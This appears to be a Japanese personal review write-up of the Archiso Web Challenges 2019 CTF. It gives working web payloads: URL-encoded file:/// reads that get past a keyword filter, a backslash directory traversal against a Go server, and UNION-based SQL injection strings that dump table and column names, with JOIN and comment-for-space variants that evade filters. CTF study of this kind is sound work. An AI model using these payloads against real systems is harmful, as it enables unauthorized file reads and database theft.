【復習回】Archiso Web Challenges 2019
この記事は
解けなかった問題や違う解法を自分用に残しておくものです。writeupは他の方のをぜひご覧ください。
参考先
Single Page HTML Viewer 2
テキストフィールドにurl
を入力して/flag
ファイルの中身を見る問題です。flag
という文字を入力は弾かれます。別途サーバ立ち上げてなんか描画させるのかと思ってましたが違うようです。
さらに予想として,burp
でクエリにファイルパスを入れればフロント側のフィルタを回避できるかと思ったのですが、サーバサイドでもflag
という文字を弾いている模様。最終的にurlエンコードしたfile:///%66%6c%61%67
をinput
フィールドに入れればok。またリクエスト時にurlエンコードがさらにかかるようなので、burp
でfile%3A%2F%2F%2F%2566%256c%2561%2567
を投げても良い。
Go Mikuji
このページの一番下に紹介されています。物理ファイルの操作にpath/filepath
ではなくpath
を使うとディレクトリトラバーサルができるようになる。
mattn.kaoriya.net
// 主要部 http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { name := filepath.FromSlash(filepath.Join(cwd, "public", path.Base(r.URL.Path))) path := strings.Replace(name, "\\", "/", -1) f, err := os.Open(path) ... ... http.HandleFunc("/public/omikuji", func(w ht...
app % tree . . ├── flag.txt ├── main.go └── public └── index.html
https://awebc19.archiso.dev/problems/go_mikuji/omikuji //
↓
https://awebc19.archiso.dev/problems/go_mikuji/..%5cflag.txt
バックスラッシュは%5c
で入力。これで発火してpublic/../flag.txt
を表示します。
Dolls Data 2 & 3
1は普通のunion select
でした。
' and 0 UNION SELECT table_name,column_name,3,4,5,6,7,8,9,10,11 FROM information_schema.columns;--
2ではコロンを入力できなくなっているので、join
でつなぐようです。
' and 0 UNION SELECT * FROM (SELECT table_name FROM information_schema.columns)a JOIN(SELECT 2)b JOIN(SELECT 3)c JOIN(SELECT 4)d JOIN(SELECT 5)e JOIN(SELECT 6)f JOIN(SELECT 7)g JOIN(SELECT 8)h JOIN(SELECT 9)i JOIN(SELECT 10)j JOIN(SELECT 11)k; --
一度に全てのテーブルとカラムを取得するにはこれ。
' and 0 UNION SELECT * FROM (SELECT table_name FROM information_schema.columns)a JOIN(SELECT column_name FROM information_schema.columns)b JOIN(SELECT 3)c JOIN(SELECT 4)d JOIN(SELECT 5)e JOIN(SELECT 6)f JOIN(SELECT 7)g JOIN(SELECT 8)h JOIN(SELECT 9)i JOIN(SELECT 10)j JOIN(SELECT 11)k; --
3では空白とハイフンが消される模様。今までハイフンつけてたけれど、;
だけで良さそう?2の解法の空白
を/**/
に全て置き換えれば通るそうです。
今回どこがエスケープされるようになったかは、レスポンスに含まれるinput
パラメータを見て、入力と比較して消されている文字を探せば見つかりました。